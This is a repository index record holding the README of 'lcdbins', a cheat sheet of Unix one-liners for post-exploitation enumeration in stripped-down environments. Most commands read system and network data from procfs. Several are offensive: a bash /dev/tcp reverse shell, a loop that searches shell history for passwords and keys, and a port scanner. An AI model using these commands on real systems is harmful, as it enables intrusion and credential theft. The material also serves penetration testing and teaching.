{"id":24784265,"url":"https://github.com/ofasgard/lcdbins","last_synced_at":"2026-03-12T23:31:11.308Z","repository":{"id":144331399,"uuid":"268924455","full_name":"ofasgard/lcdbins","owner":"ofasgard","description":"lowest-common denominator binaries","archived":false,"fork":false,"pushed_at":"2021-01-04T12:41:51.000Z","size":33,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-10-12T08:31:41.593Z","etag":null,"topics":["embedded-linux","enumeration","lcdbins","lolbas","lolbins","oneliners","post-exploitation","unix"],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ofasgard.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-06-02T22:48:26.000Z","updated_at":"2025-01-28T05:43:54.000Z","dependencies_parsed_at":null,"dependency_job_id":"2c8356e7-fdbd-45e5-98b6-07086ecaf194","html_url":"https://github.com/ofasgard/lcdbins","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/ofasgard/lcdbins","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ofasgard%2Flcdbins","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ofasgard%2Flcdbins/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ofasgard%2Flcdbins/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ofasgard%2Flcdbins/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ofasgard","download_url":"https://codeload.github.com/ofasgard/lcdbins/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ofasgard%2Flcdbins/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":30449018,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-03-12T21:31:01.033Z","status":"ssl_error","status_checked_at":"2026-03-12T21:30:43.161Z","response_time":114,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["embedded-linux","enumeration","lcdbins","lolbas","lolbins","oneliners","post-exploitation","unix"],"created_at":"2025-01-29T13:13:47.063Z","updated_at":"2026-03-12T23:31:11.301Z","avatar_url":"https://github.com/ofasgard.png","language":null,"readme":"# lcdbins\n\nAn **lcdbin** is a lowest-common denominator binary - one which, with rare exceptions, should be present on any UNIX-based operating system. This repository is a collection of oneliners that use lcdbins to perform enumeration and post-exploitation activities that you'd normally use other tools for - such as id, netstat or python. Use them when you find yourself in a stripped-down environment where the usual tools aren't available.\n\nHere is a list of the binaries used by the oneliners in this repository:\n\n- awk\n- bc\n- cat\n- echo\n- grep\n- ls\n- printf\n- read\n- sed\n- sort\n\nWhere possible, alternatives have been provided in case one binary is unavailable on your specific system; note that many of the commands below rely on procfs. Greetz to moogz for assistance and contributions.\n\n## System Enumeration\n\nGet kernel version information\n\n```shell\ncat /proc/version\ncat /proc/sys/kernel/version\n```\n\nGet hostname\n\n```shell\ncat /proc/sys/kernel/hostname\n```\n\nGet current uid and gid\n\n```shell\nuid=$(cat /proc/self/status | awk -F'[ \\t]' '{if(tolower($1) == \"uid:\") print $2 }'); gid=$(cat /proc/self/status | awk -F'[ \\t]' '{if(tolower($1) == \"gid:\") print $2 }'); echo uid $uid gid $gid\n```\n\nGet group membership for uid\n\n```shell\nuid=1000; user=$(awk -F : -v x=\"$uid\" '{if($3==x) print $1}' /etc/passwd); grep $user /etc/group\n```\n\nList environment variables\n\n```shell\nsed 's/\\x0/\\n/g' /proc/self/environ\n```\n\nList information about processes\n\n```shell\necho PID NAME UID GID; pids=$(ls /proc | grep '^[0-9]*$'); for pid in $pids; do name=$(cat /proc/$pid/status 2\u003e /dev/null | awk -F'[ \\t]' '{if(tolower($1) == \"name:\") print $2 }'); uid=$(cat /proc/$pid/status 2\u003e /dev/null | awk -F'[ \\t]' '{if(tolower($1) == \"uid:\") print $2 }'); gid=$(cat /proc/$pid/status 2\u003e /dev/null | awk -F'[ \\t]' '{if(tolower($1) == \"gid:\") print $2 }'); echo $pid $name $uid $gid; done;\n```\n\nList mounted filesystems\n\n```shell\ncat /proc/self/mounts\n```\n\nFind a filename without the `find` command\n\n```shell\nls -R /etc 2\u003e /dev/null | awk '/:$/\u0026\u0026f{s=$0;f=0}/:$/\u0026\u0026!f{sub(/:$/,\"\");s=$0;f=1;next}NF\u0026\u0026f{ print s\"/\"$0 }' | grep passwd\n```\n\nSearch HISTFILE for credentials\n\n```shell\nx=(sql smbclient key pass user); for i in ${x[@]}; do grep -i \"$i\" $HISTFILE; done\n````\n\n## Network Enumeration\n\nGet local network interface addresses from /proc/net/fib_trie\n\n```shell\nawk '/32 host/ { print f } {f=$2}' /proc/net/fib_trie | sort -u\n```\n\nParse listening TCP ports on /proc/net/tcp\n\n```shell\nfor i in $(grep \" 0A \" /proc/net/tcp | awk -F \"[ :]+\" '{print $4}'); do printf \"%d\\n\" \"0x$i\"; done | sort -un\nfor i in $(grep \" 0A \" /proc/net/tcp | awk -F \"[ :]+\" '{print $4}'); do echo \"obase=10; ibase=16; $i\" | bc; done | sort -un\n```\n\nParse listening UDP ports on /proc/net/udp\n\n```shell\nfor i in $(awk -F \"[ :]+\" '{if(NR \u003e=2) print $4}' /proc/net/udp); do printf \"%d\\n\" \"0x$i\"; done | sort -un\nfor i in $(awk -F \"[ :]+\" '{if(NR \u003e=2) print $4}' /proc/net/udp); do echo \"obase=10; ibase=16; $i\" | bc; done | sort -un\n```\n\nParse destination and gateway from /proc/net/route\n\n```shell\necho Interface Destination Gateway; awk \"NR \u003e= 2\" /proc/net/route |while read line; do printf '%s %d.%d.%d.%d %d.%d.%d.%d\\n' $(echo $line | awk -F ' ' '{print $1}') $(echo $line | awk -F ' ' '{print $2}' | sed \"s/../0x\u0026 /g\" | awk '{ for (i=NF; i\u003e1; i--) printf(\"%s \",$i); print $1; }') $(echo $line | awk -F ' ' '{print $3}' | sed \"s/../0x\u0026 /g\" | awk '{ for (i=NF; i\u003e1; i--) printf(\"%s \",$i); print $1; }'); done\n```\n\nPrint the ARP table\n\n```shell\ncat /proc/net/arp\n```\n\n## Network Connections (requires bash)\n\nConnect to a port and execute the commands received (reverse shell)\n\n```shell\nexec 3\u003c\u003e/dev/tcp/127.0.0.1/31337; cat \u003c\u00263 | sh \u003e\u00263\n```\n\nUse letmeoutofyour.net to check firewall ACLs for a port\n\n```shell\nexec 3\u003c\u003e/dev/tcp/letmeoutofyour.net/31337; echo -e \"GET / HTTP/1.0\\r\\n\\r\\n\" \u003e\u00263; cat \u003c\u00263 | grep w00tw00t\n```\n\nUse dyndns.org to find your public IP address\n\n```shell\nexec 3\u003c\u003e/dev/tcp/checkip.dyndns.org/80; echo -e \"GET / HTTP/1.0\\r\\n\\r\\n\" \u003e\u00263; cat \u003c\u00263\n```\n\nScan TCP ports\n\n```shell\nfor i in {1..9000}; do SERVER=\"127.0.0.1\"; PORT=$i; (echo  \u003e /dev/tcp/$SERVER/$PORT) \u0026\u003e /dev/null \u0026\u0026 echo \"Port $PORT seems to be open\"; done\n```\n\n## Miscellaneous\n\nGet all IP addresses in a directory\n\n```shell\ngrep -ro '[0-9]\\{1,3\\}\\(\\.[0-9]\\{1,3\\}\\)\\{3\\}' /etc/* 2\u003e/dev/null\ngrep -Ero '\\b((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\\.|$)){4}\\b' /etc/* 2\u003e/dev/null\n```\n","funding_links":[],"categories":["Endpoint"],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fofasgard%2Flcdbins","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fofasgard%2Flcdbins","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fofasgard%2Flcdbins/lists"}